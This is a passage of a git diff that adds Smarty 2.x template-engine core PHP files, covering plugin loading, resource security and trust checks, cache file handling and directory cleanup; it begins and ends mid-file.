+/**
+ * Smarty debug_console function plugin
+ *
+ * Type:     core<br>
+ * Name:     display_debug_console<br>
+ * Purpose:  display the javascript debug console window
+ * @param array Format: null
+ * @param Smarty
+ */
+function smarty_core_display_debug_console($params, &$smarty)
+{
+    // we must force compile the debug template in case the environment
+    // changed between separate applications.
+
+    if(empty($smarty->debug_tpl)) {
+        // set path to debug template from SMARTY_DIR
+        $smarty->debug_tpl = SMARTY_DIR . 'debug.tpl';
+        if($smarty->security && is_file($smarty->debug_tpl)) {
+            $smarty->secure_dir[] = dirname(realpath($smarty->debug_tpl));
+        }
+    }
+
+    $_ldelim_orig = $smarty->left_delimiter;
+    $_rdelim_orig = $smarty->right_delimiter;
+
+    $smarty->left_delimiter = '{';
+    $smarty->right_delimiter = '}';
+
+    $_compile_id_orig = $smarty->_compile_id;
+    $smarty->_compile_id = null;
+
+    $_compile_path = $smarty->_get_compile_path($smarty->debug_tpl);
+    if ($smarty->_compile_resource($smarty->debug_tpl, $_compile_path))
+    {
+        ob_start();
+        $smarty->_include($_compile_path);
+        $_results = ob_get_contents();
+        ob_end_clean();
+    } else {
+        $_results = '';
+    }
+
+    $smarty->_compile_id = $_compile_id_orig;
+
+    $smarty->left_delimiter = $_ldelim_orig;
+    $smarty->right_delimiter = $_rdelim_orig;
+
+    return $_results;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.get_include_path.php b/google/smarty/core/core.get_include_path.php
new file mode 100755 (executable)
index 0000000..4343241
--- /dev/null
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Get path to file from include_path
+ *
+ * @param string $file_path
+ * @param string $new_file_path
+ * @return boolean
+ * @staticvar array|null
+ */
+
+//  $file_path, &$new_file_path
+
+function smarty_core_get_include_path(&$params, &$smarty)
+{
+    static $_path_array = null;
+
+    if(!isset($_path_array)) {
+        $_ini_include_path = ini_get('include_path');
+
+        if(strstr($_ini_include_path,';')) {
+            // windows pathnames
+            $_path_array = explode(';',$_ini_include_path);
+        } else {
+            $_path_array = explode(':',$_ini_include_path);
+        }
+    }
+    foreach ($_path_array as $_include_path) {
+        if (@is_readable($_include_path . DIRECTORY_SEPARATOR . $params['file_path'])) {
+               $params['new_file_path'] = $_include_path . DIRECTORY_SEPARATOR . $params['file_path'];
+            return true;
+        }
+    }
+    return false;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.get_microtime.php b/google/smarty/core/core.get_microtime.php
new file mode 100755 (executable)
index 0000000..f1a28e0
--- /dev/null
@@ -0,0 +1,23 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Get seconds and microseconds
+ * @return double
+ */
+function smarty_core_get_microtime($params, &$smarty)
+{
+    $mtime = microtime();
+    $mtime = explode(" ", $mtime);
+    $mtime = (double)($mtime[1]) + (double)($mtime[0]);
+    return ($mtime);
+}
+
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.get_php_resource.php b/google/smarty/core/core.get_php_resource.php
new file mode 100755 (executable)
index 0000000..8121acf
--- /dev/null
@@ -0,0 +1,80 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Retrieves PHP script resource
+ *
+ * sets $php_resource to the returned resource
+ * @param string $resource
+ * @param string $resource_type
+ * @param  $php_resource
+ * @return boolean
+ */
+
+function smarty_core_get_php_resource(&$params, &$smarty)
+{
+
+    $params['resource_base_path'] = $smarty->trusted_dir;
+    $smarty->_parse_resource_name($params, $smarty);
+
+    /*
+     * Find out if the resource exists.
+     */
+
+    if ($params['resource_type'] == 'file') {
+        $_readable = false;
+        if(file_exists($params['resource_name']) && is_readable($params['resource_name'])) {
+            $_readable = true;
+        } else {
+            // test for file in include_path
+            $_params = array('file_path' => $params['resource_name']);
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_include_path.php');
+            if(smarty_core_get_include_path($_params, $smarty)) {
+                $_include_path = $_params['new_file_path'];
+                $_readable = true;
+            }
+        }
+    } else if ($params['resource_type'] != 'file') {
+        $_template_source = null;
+        $_readable = is_callable($smarty->_plugins['resource'][$params['resource_type']][0][0])
+            && call_user_func_array($smarty->_plugins['resource'][$params['resource_type']][0][0],
+                                    array($params['resource_name'], &$_template_source, &$smarty));
+    }
+
+    /*
+     * Set the error function, depending on which class calls us.
+     */
+    if (method_exists($smarty, '_syntax_error')) {
+        $_error_funcc = '_syntax_error';
+    } else {
+        $_error_funcc = 'trigger_error';
+    }
+
+    if ($_readable) {
+        if ($smarty->security) {
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.is_trusted.php');
+            if (!smarty_core_is_trusted($params, $smarty)) {
+                $smarty->$_error_funcc('(secure mode) ' . $params['resource_type'] . ':' . $params['resource_name'] . ' is not trusted');
+                return false;
+            }
+        }
+    } else {
+        $smarty->$_error_funcc($params['resource_type'] . ':' . $params['resource_name'] . ' is not readable');
+        return false;
+    }
+
+    if ($params['resource_type'] == 'file') {
+        $params['php_resource'] = $params['resource_name'];
+    } else {
+        $params['php_resource'] = $_template_source;
+    }
+    return true;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.is_secure.php b/google/smarty/core/core.is_secure.php
new file mode 100755 (executable)
index 0000000..877886b
--- /dev/null
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * determines if a resource is secure or not.
+ *
+ * @param string $resource_type
+ * @param string $resource_name
+ * @return boolean
+ */
+
+//  $resource_type, $resource_name
+
+function smarty_core_is_secure($params, &$smarty)
+{
+    static $check_template_dir = true;
+
+    if (!$smarty->security || $smarty->security_settings['INCLUDE_ANY']) {
+        return true;
+    }
+
+    $_smarty_secure = false;
+    if ($params['resource_type'] == 'file') {
+        if($check_template_dir) {
+            if (!in_array($smarty->template_dir, $smarty->secure_dir))
+                // add template_dir to secure_dir array
+                array_unshift($smarty->secure_dir, $smarty->template_dir);
+            $check_template_dir = false;
+        }
+        if (!empty($smarty->secure_dir)) {
+            $_rp = realpath($params['resource_name']);
+            foreach ((array)$smarty->secure_dir as $curr_dir) {
+                if ( !empty($curr_dir) && is_readable ($curr_dir)) {
+                    $_cd = realpath($curr_dir);
+                    if (strncmp($_rp, $_cd, strlen($_cd)) == 0
+                        && $_rp{strlen($_cd)} == DIRECTORY_SEPARATOR ) {
+                        $_smarty_secure = true;
+                        break;
+                    }
+                }
+            }
+        }
+    } else {
+        // resource is not on local file system
+        $_smarty_secure = call_user_func_array(
+            $smarty->_plugins['resource'][$params['resource_type']][0][2],
+            array($params['resource_name'], &$_smarty_secure, &$smarty));
+    }
+
+    return $_smarty_secure;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.is_trusted.php b/google/smarty/core/core.is_trusted.php
new file mode 100755 (executable)
index 0000000..c90e3ef
--- /dev/null
@@ -0,0 +1,50 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**#@+
+ * @access private
+ */
+/**
+ * determines if a resource is trusted or not
+ *
+ * @param string $resource_type
+ * @param string $resource_name
+ * @return boolean
+ */
+
+ // $resource_type, $resource_name
+
+function smarty_core_is_trusted($params, &$smarty)
+{
+    $_smarty_trusted = false;
+    if ($params['resource_type'] == 'file') {
+        if (!empty($smarty->trusted_dir)) {
+            $_rp = realpath($params['resource_name']);
+            foreach ((array)$smarty->trusted_dir as $curr_dir) {
+                if (!empty($curr_dir) && is_readable ($curr_dir)) {
+                    $_cd = realpath($curr_dir);
+                    if (strncmp($_rp, $_cd, strlen($_cd)) == 0
+                        && $_rp{strlen($_cd)} == DIRECTORY_SEPARATOR ) {
+                        $_smarty_trusted = true;
+                        break;
+                    }
+                }
+            }
+        }
+
+    } else {
+        // resource is not on local file system
+        $_smarty_trusted = call_user_func_array($smarty->_plugins['resource'][$params['resource_type']][0][3],
+                                                array($params['resource_name'], $smarty));
+    }
+
+    return $_smarty_trusted;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.load_plugins.php b/google/smarty/core/core.load_plugins.php
new file mode 100755 (executable)
index 0000000..6db1dc5
--- /dev/null
@@ -0,0 +1,125 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Load requested plugins
+ *
+ * @param array $plugins
+ */
+
+// $plugins
+
+function smarty_core_load_plugins($params, &$smarty)
+{
+
+    foreach ($params['plugins'] as $_plugin_info) {
+        list($_type, $_name, $_tpl_file, $_tpl_line, $_delayed_loading) = $_plugin_info;
+        $_plugin = &$smarty->_plugins[$_type][$_name];
+
+        /*
+         * We do not load plugin more than once for each instance of Smarty.
+         * The following code checks for that. The plugin can also be
+         * registered dynamically at runtime, in which case template file
+         * and line number will be unknown, so we fill them in.
+         *
+         * The final element of the info array is a flag that indicates
+         * whether the dynamically registered plugin function has been
+         * checked for existence yet or not.
+         */
+        if (isset($_plugin)) {
+            if (empty($_plugin[3])) {
+                if (!is_callable($_plugin[0])) {
+                    $smarty->_trigger_fatal_error("[plugin] $_type '$_name' is not implemented", $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+                } else {
+                    $_plugin[1] = $_tpl_file;
+                    $_plugin[2] = $_tpl_line;
+                    $_plugin[3] = true;
+                    if (!isset($_plugin[4])) $_plugin[4] = true; /* cacheable */
+                }
+            }
+            continue;
+        } else if ($_type == 'insert') {
+            /*
+             * For backwards compatibility, we check for insert functions in
+             * the symbol table before trying to load them as a plugin.
+             */
+            $_plugin_func = 'insert_' . $_name;
+            if (function_exists($_plugin_func)) {
+                $_plugin = array($_plugin_func, $_tpl_file, $_tpl_line, true, false);
+                continue;
+            }
+        }
+
+        $_plugin_file = $smarty->_get_plugin_filepath($_type, $_name);
+
+        if (! $_found = ($_plugin_file != false)) {
+            $_message = "could not load plugin file '$_type.$_name.php'\n";
+        }
+
+        /*
+         * If plugin file is found, it -must- provide the properly named
+         * plugin function. In case it doesn't, simply output the error and
+         * do not fall back on any other method.
+         */
+        if ($_found) {
+            include_once $_plugin_file;
+
+            $_plugin_func = 'smarty_' . $_type . '_' . $_name;
+            if (!function_exists($_plugin_func)) {
+                $smarty->_trigger_fatal_error("[plugin] function $_plugin_func() not found in $_plugin_file", $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+                continue;
+            }
+        }
+        /*
+         * In case of insert plugins, their code may be loaded later via
+         * 'script' attribute.
+         */
+        else if ($_type == 'insert' && $_delayed_loading) {
+            $_plugin_func = 'smarty_' . $_type . '_' . $_name;
+            $_found = true;
+        }
+
+        /*
+         * Plugin specific processing and error checking.
+         */
+        if (!$_found) {
+            if ($_type == 'modifier') {
+                /*
+                 * In case modifier falls back on using PHP functions
+                 * directly, we only allow those specified in the security
+                 * context.
+                 */
+                if ($smarty->security && !in_array($_name, $smarty->security_settings['MODIFIER_FUNCS'])) {
+                    $_message = "(secure mode) modifier '$_name' is not allowed";
+                } else {
+                    if (!function_exists($_name)) {
+                        $_message = "modifier '$_name' is not implemented";
+                    } else {
+                        $_plugin_func = $_name;
+                        $_found = true;
+                    }
+                }
+            } else if ($_type == 'function') {
+                /*
+                 * This is a catch-all situation.
+                 */
+                $_message = "unknown tag - '$_name'";
+            }
+        }
+
+        if ($_found) {
+            $smarty->_plugins[$_type][$_name] = array($_plugin_func, $_tpl_file, $_tpl_line, true, true);
+        } else {
+            // output error
+            $smarty->_trigger_fatal_error('[plugin] ' . $_message, $_tpl_file, $_tpl_line, __FILE__, __LINE__);
+        }
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.load_resource_plugin.php b/google/smarty/core/core.load_resource_plugin.php
new file mode 100755 (executable)
index 0000000..a7d37d1
--- /dev/null
@@ -0,0 +1,74 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * load a resource plugin
+ *
+ * @param string $type
+ */
+
+// $type
+
+function smarty_core_load_resource_plugin($params, &$smarty)
+{
+    /*
+     * Resource plugins are not quite like the other ones, so they are
+     * handled differently. The first element of plugin info is the array of
+     * functions provided by the plugin, the second one indicates whether
+     * all of them exist or not.
+     */
+
+    $_plugin = &$smarty->_plugins['resource'][$params['type']];
+    if (isset($_plugin)) {
+        if (!$_plugin[1] && count($_plugin[0])) {
+            $_plugin[1] = true;
+            foreach ($_plugin[0] as $_plugin_func) {
+                if (!is_callable($_plugin_func)) {
+                    $_plugin[1] = false;
+                    break;
+                }
+            }
+        }
+
+        if (!$_plugin[1]) {
+            $smarty->_trigger_fatal_error("[plugin] resource '" . $params['type'] . "' is not implemented", null, null, __FILE__, __LINE__);
+        }
+
+        return;
+    }
+
+    $_plugin_file = $smarty->_get_plugin_filepath('resource', $params['type']);
+    $_found = ($_plugin_file != false);
+
+    if ($_found) {            /*
+         * If the plugin file is found, it -must- provide the properly named
+         * plugin functions.
+         */
+        include_once($_plugin_file);
+
+        /*
+         * Locate functions that we require the plugin to provide.
+         */
+        $_resource_ops = array('source', 'timestamp', 'secure', 'trusted');
+        $_resource_funcs = array();
+        foreach ($_resource_ops as $_op) {
+            $_plugin_func = 'smarty_resource_' . $params['type'] . '_' . $_op;
+            if (!function_exists($_plugin_func)) {
+                $smarty->_trigger_fatal_error("[plugin] function $_plugin_func() not found in $_plugin_file", null, null, __FILE__, __LINE__);
+                return;
+            } else {
+                $_resource_funcs[] = $_plugin_func;
+            }
+        }
+
+        $smarty->_plugins['resource'][$params['type']] = array($_resource_funcs, true);
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.process_cached_inserts.php b/google/smarty/core/core.process_cached_inserts.php
new file mode 100755 (executable)
index 0000000..0e368fd
--- /dev/null
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Replace cached inserts with the actual results
+ *
+ * @param string $results
+ * @return string
+ */
+function smarty_core_process_cached_inserts($params, &$smarty)
+{
+    preg_match_all('!'.$smarty->_smarty_md5.'{insert_cache (.*)}'.$smarty->_smarty_md5.'!Uis',
+                   $params['results'], $match);
+    list($cached_inserts, $insert_args) = $match;
+
+    for ($i = 0, $for_max = count($cached_inserts); $i < $for_max; $i++) {
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+            $debug_start_time = smarty_core_get_microtime($_params, $smarty);
+        }
+
+        $args = unserialize($insert_args[$i]);
+        $name = $args['name'];
+
+        if (isset($args['script'])) {
+            $_params = array('resource_name' => $smarty->_dequote($args['script']));
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_php_resource.php');
+            if(!smarty_core_get_php_resource($_params, $smarty)) {
+                return false;
+            }
+            $resource_type = $_params['resource_type'];
+            $php_resource = $_params['php_resource'];
+
+
+            if ($resource_type == 'file') {
+                $smarty->_include($php_resource, true);
+            } else {
+                $smarty->_eval($php_resource);
+            }
+        }
+
+        $function_name = $smarty->_plugins['insert'][$name][0];
+        if (empty($args['assign'])) {
+            $replace = $function_name($args, $smarty);
+        } else {
+            $smarty->assign($args['assign'], $function_name($args, $smarty));
+            $replace = '';
+        }
+
+        $params['results'] = str_replace($cached_inserts[$i], $replace, $params['results']);
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+            $smarty->_smarty_debug_info[] = array('type'      => 'insert',
+                                                'filename'  => 'insert_'.$name,
+                                                'depth'     => $smarty->_inclusion_depth,
+                                                'exec_time' => smarty_core_get_microtime($_params, $smarty) - $debug_start_time);
+        }
+    }
+
+    return $params['results'];
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.process_compiled_include.php b/google/smarty/core/core.process_compiled_include.php
new file mode 100755 (executable)
index 0000000..3e1d4c1
--- /dev/null
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Replace nocache-tags by results of the corresponding non-cacheable
+ * functions and return it
+ *
+ * @param string $compiled_tpl
+ * @param string $cached_source
+ * @return string
+ */
+
+function smarty_core_process_compiled_include($params, &$smarty)
+{
+    $_cache_including = $smarty->_cache_including;
+    $smarty->_cache_including = true;
+
+    $_return = $params['results'];
+    foreach ($smarty->_cache_serials as $_include_file_path=>$_cache_serial) {
+        $_return = preg_replace_callback('!(\{nocache\:('.$_cache_serial.')#(\d+)\})!s',
+                                         array(&$smarty, '_process_compiled_include_callback'),
+                                         $_return);
+    }
+    $smarty->_cache_including = $_cache_including;
+    return $_return;
+}
+
+?>
diff --git a/google/smarty/core/core.read_cache_file.php b/google/smarty/core/core.read_cache_file.php
new file mode 100755 (executable)
index 0000000..2ab4281
--- /dev/null
@@ -0,0 +1,111 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * read a cache file, determine if it needs to be
+ * regenerated or not
+ *
+ * @param string $tpl_file
+ * @param string $cache_id
+ * @param string $compile_id
+ * @param string $results
+ * @return boolean
+ */
+
+//  $tpl_file, $cache_id, $compile_id, &$results
+
+function smarty_core_read_cache_file(&$params, &$smarty)
+{
+    static  $content_cache = array();
+
+    if ($smarty->force_compile) {
+        // force compile enabled, always regenerate
+        return false;
+    }
+
+    if (isset($content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']])) {
+        list($params['results'], $smarty->_cache_info) = $content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']];
+        return true;
+    }
+
+    if (!empty($smarty->cache_handler_func)) {
+        // use cache_handler function
+        call_user_func_array($smarty->cache_handler_func,
+                             array('read', &$smarty, &$params['results'], $params['tpl_file'], $params['cache_id'], $params['compile_id'], null));
+    } else {
+        // use local cache file
+        $_auto_id = $smarty->_get_auto_id($params['cache_id'], $params['compile_id']);
+        $_cache_file = $smarty->_get_auto_filename($smarty->cache_dir, $params['tpl_file'], $_auto_id);
+        $params['results'] = $smarty->_read_file($_cache_file);
+    }
+
+    if (empty($params['results'])) {
+        // nothing to parse (error?), regenerate cache
+        return false;
+    }
+
+    $cache_split = explode("\n", $params['results'], 2);
+    $cache_header = $cache_split[0];
+
+    $_cache_info = unserialize($cache_header);
+
+    if ($smarty->caching == 2 && isset ($_cache_info['expires'])){
+        // caching by expiration time
+        if ($_cache_info['expires'] > -1 && (time() > $_cache_info['expires'])) {
+            // cache expired, regenerate
+            return false;
+        }
+    } else {
+        // caching by lifetime
+        if ($smarty->cache_lifetime > -1 && (time() - $_cache_info['timestamp'] > $smarty->cache_lifetime)) {
+            // cache expired, regenerate
+            return false;
+        }
+    }
+
+    if ($smarty->compile_check) {
+        $_params = array('get_source' => false, 'quiet'=>true);
+        foreach (array_keys($_cache_info['template']) as $_template_dep) {
+            $_params['resource_name'] = $_template_dep;
+            if (!$smarty->_fetch_resource_info($_params) || $_cache_info['timestamp'] < $_params['resource_timestamp']) {
+                // template file has changed, regenerate cache
+                return false;
+            }
+        }
+
+        if (isset($_cache_info['config'])) {
+            $_params = array('resource_base_path' => $smarty->config_dir, 'get_source' => false, 'quiet'=>true);
+            foreach (array_keys($_cache_info['config']) as $_config_dep) {
+                $_params['resource_name'] = $_config_dep;
+                if (!$smarty->_fetch_resource_info($_params) || $_cache_info['timestamp'] < $_params['resource_timestamp']) {
+                    // config file has changed, regenerate cache
+                    return false;
+                }
+            }
+        }
+    }
+
+    foreach ($_cache_info['cache_serials'] as $_include_file_path=>$_cache_serial) {
+        if (empty($smarty->_cache_serials[$_include_file_path])) {
+            $smarty->_include($_include_file_path, true);
+        }
+
+        if ($smarty->_cache_serials[$_include_file_path] != $_cache_serial) {
+            /* regenerate */
+            return false;
+        }
+    }
+    $params['results'] = $cache_split[1];
+    $content_cache[$params['tpl_file'].','.$params['cache_id'].','.$params['compile_id']] = array($params['results'], $_cache_info);
+
+    $smarty->_cache_info = $_cache_info;
+    return true;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.rm_auto.php b/google/smarty/core/core.rm_auto.php
new file mode 100755 (executable)
index 0000000..b7cdaf8
--- /dev/null
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * delete an automagically created file by name and id
+ *
+ * @param string $auto_base
+ * @param string $auto_source
+ * @param string $auto_id
+ * @param integer $exp_time
+ * @return boolean
+ */
+
+// $auto_base, $auto_source = null, $auto_id = null, $exp_time = null
+
+function smarty_core_rm_auto($params, &$smarty)
+{
+    if (!@is_dir($params['auto_base']))
+      return false;
+
+    if(!isset($params['auto_id']) && !isset($params['auto_source'])) {
+        $_params = array(
+            'dirname' => $params['auto_base'],
+            'level' => 0,
+            'exp_time' => $params['exp_time']
+        );
+        require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rmdir.php');
+        $_res = smarty_core_rmdir($_params, $smarty);
+    } else {
+        $_tname = $smarty->_get_auto_filename($params['auto_base'], $params['auto_source'], $params['auto_id']);
+
+        if(isset($params['auto_source'])) {
+            if (isset($params['extensions'])) {
+                $_res = false;
+                foreach ((array)$params['extensions'] as $_extension)
+                    $_res |= $smarty->_unlink($_tname.$_extension, $params['exp_time']);
+            } else {
+                $_res = $smarty->_unlink($_tname, $params['exp_time']);
+            }
+        } elseif ($smarty->use_sub_dirs) {
+            $_params = array(
+                'dirname' => $_tname,
+                'level' => 1,
+                'exp_time' => $params['exp_time']
+            );
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rmdir.php');
+            $_res = smarty_core_rmdir($_params, $smarty);
+        } else {
+            // remove matching file names
+            $_handle = opendir($params['auto_base']);
+            $_res = true;
+            while (false !== ($_filename = readdir($_handle))) {
+                if($_filename == '.' || $_filename == '..') {
+                    continue;
+                } elseif (substr($params['auto_base'] . DIRECTORY_SEPARATOR . $_filename, 0, strlen($_tname)) == $_tname) {
+                    $_res &= (bool)$smarty->_unlink($params['auto_base'] . DIRECTORY_SEPARATOR . $_filename, $params['exp_time']);
+                }
+            }
+        }
+    }
+
+    return $_res;
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.rmdir.php b/google/smarty/core/core.rmdir.php
new file mode 100755 (executable)
index 0000000..38df822
--- /dev/null
@@ -0,0 +1,55 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * delete a dir recursively (level=0 -> keep root)
+ * WARNING: no tests, it will try to remove what you tell it!
+ *
+ * @param string $dirname
+ * @param integer $level
+ * @param integer $exp_time
+ * @return boolean
+ */
+
+//  $dirname, $level = 1, $exp_time = null
+
+function smarty_core_rmdir($params, &$smarty)
+{
+   if(!isset($params['level'])) { $params['level'] = 1; }
+   if(!isset($params['exp_time'])) { $params['exp_time'] = null; }
+
+   if($_handle = @opendir($params['dirname'])) {
+
+        while (false !== ($_entry = readdir($_handle))) {
+            if ($_entry != '.' && $_entry != '..') {
+                if (@is_dir($params['dirname'] . DIRECTORY_SEPARATOR . $_entry)) {
+                    $_params = array(
+                        'dirname' => $params['dirname'] . DIRECTORY_SEPARATOR . $_entry,
+                        'level' => $params['level'] + 1,
+                        'exp_time' => $params['exp_time']
+                    );
+                    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.rmdir.php');
+                    smarty_core_rmdir($_params, $smarty);
+                }
+                else {
+                    $smarty->_unlink($params['dirname'] . DIRECTORY_SEPARATOR . $_entry, $params['exp_time']);
+                }
+            }
+        }
+        closedir($_handle);
+   }
+
+   if ($params['level']) {
+       return @rmdir($params['dirname']);
+   }
+   return (bool)$_handle;
+
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.run_insert_handler.php b/google/smarty/core/core.run_insert_handler.php
new file mode 100755 (executable)
index 0000000..aa391ab
--- /dev/null
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Handle insert tags
+ *
+ * @param array $args
+ * @return string
+ */
+function smarty_core_run_insert_handler($params, &$smarty)
+{
+
+    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+    if ($smarty->debugging) {
+        $_params = array();
+        $_debug_start_time = smarty_core_get_microtime($_params, $smarty);
+    }
+
+    if ($smarty->caching) {
+        $_arg_string = serialize($params['args']);
+        $_name = $params['args']['name'];
+        if (!isset($smarty->_cache_info['insert_tags'][$_name])) {
+            $smarty->_cache_info['insert_tags'][$_name] = array('insert',
+                                                             $_name,
+                                                             $smarty->_plugins['insert'][$_name][1],
+                                                             $smarty->_plugins['insert'][$_name][2],
+                                                             !empty($params['args']['script']) ? true : false);
+        }
+        return $smarty->_smarty_md5."{insert_cache $_arg_string}".$smarty->_smarty_md5;
+    } else {
+        if (isset($params['args']['script'])) {
+            $_params = array('resource_name' => $smarty->_dequote($params['args']['script']));
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_php_resource.php');
+            if(!smarty_core_get_php_resource($_params, $smarty)) {
+                return false;
+            }
+
+            if ($_params['resource_type'] == 'file') {
+                $smarty->_include($_params['php_resource'], true);
+            } else {
+                $smarty->_eval($_params['php_resource']);
+            }
+            unset($params['args']['script']);
+        }
+
+        $_funcname = $smarty->_plugins['insert'][$params['args']['name']][0];
+        $_content = $_funcname($params['args'], $smarty);
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_microtime.php');
+            $smarty->_smarty_debug_info[] = array('type'      => 'insert',
+                                                'filename'  => 'insert_'.$params['args']['name'],
+                                                'depth'     => $smarty->_inclusion_depth,
+                                                'exec_time' => smarty_core_get_microtime($_params, $smarty) - $_debug_start_time);
+        }
+
+        if (!empty($params['args']["assign"])) {
+            $smarty->assign($params['args']["assign"], $_content);
+        } else {
+            return $_content;
+        }
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.smarty_include_php.php b/google/smarty/core/core.smarty_include_php.php
new file mode 100755 (executable)
index 0000000..4b31648
--- /dev/null
@@ -0,0 +1,50 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * called for included php files within templates
+ *
+ * @param string $smarty_file
+ * @param string $smarty_assign variable to assign the included template's
+ *               output into
+ * @param boolean $smarty_once uses include_once if this is true
+ * @param array $smarty_include_vars associative array of vars from
+ *              {include file="blah" var=$var}
+ */
+
+//  $file, $assign, $once, $_smarty_include_vars
+
+function smarty_core_smarty_include_php($params, &$smarty)
+{
+    $_params = array('resource_name' => $params['smarty_file']);
+    require_once(SMARTY_DIR . 'core' . DIRECTORY_SEPARATOR . 'core.get_php_resource.php');
+    smarty_core_get_php_resource($_params, $smarty);
+    $_smarty_resource_type = $_params['resource_type'];
+    $_smarty_php_resource = $_params['php_resource'];
+
+    if (!empty($params['smarty_assign'])) {
+        ob_start();
+        if ($_smarty_resource_type == 'file') {
+            $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']);
+        } else {
+            $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']);
+        }
+        $smarty->assign($params['smarty_assign'], ob_get_contents());
+        ob_end_clean();
+    } else {
+        if ($_smarty_resource_type == 'file') {
+            $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']);
+        } else {
+            $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']);
+        }
+    }
+}
+
+
+/* vim: set expandtab: */
+
+?>
diff --git a/google/smarty/core/core.write_cache_file.php b/google/smarty/core/core.write_cache_file.php
new file mode 100755 (executable)
index 0000000..7429ad9
--- /dev/null
@@ -0,0 +1,73 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Prepend the cache information to the cache file
+ * and write it
+ *
+ * @param string $tpl_file
+ * @param string $cache_id
+ * @param string $compile_id
+ * @param string $results
+ * @return true|null
+ */
+
+ // $tpl_file, $cache_id, $compile_id, $results
+
+function smarty_core_write_cache_file($params, &$smarty)
+{
+
+    // put timestamp in cache header
+    $smarty->_cache_info['timestamp'] = time();
+    if ($smarty->cache_lifetime > -1){
+        // expiration set
+        $smarty->_cache_info['expires'] = $smarty->_cache_info['timestamp'] + $smarty->cache_lifetime;
+    } else {
+        // cache will never expire
+        $smarty->_cache_info['expires'] = -1;
+    }
+
+    // collapse {nocache...}-tags
+    $params['results'] = preg_replace('!((\{nocache\:([0-9a-f]{32})#(\d+)\})'
+                                      .'.*'
+                                      .'{/nocache\:\\3#\\4\})!Us'
+                                      ,'\\2'
+                                      ,$params['results']);
+    $smarty->_cache_info['cache_serials'] = $smarty->_cache_serials;
+
+    // prepend the cache header info into cache file
+    $params['results'] = serialize($smarty->_cache_info)."\n".$params['results'];
+
+    if (!empty($smarty->cache_handler_func)) {
+        // use cache_handler function
+        call_user_func_array($smarty->cache_handler_func,
+                             array('write', &$smarty, &$params['results'], $params['tpl_file'], $params['cache_id'], $params['compile_id'], null));
+    } else {
+        // use local cache file
+
+        if(!@is_writable($smarty->cache_dir)) {
+            // cache_dir not writable, see if it exists
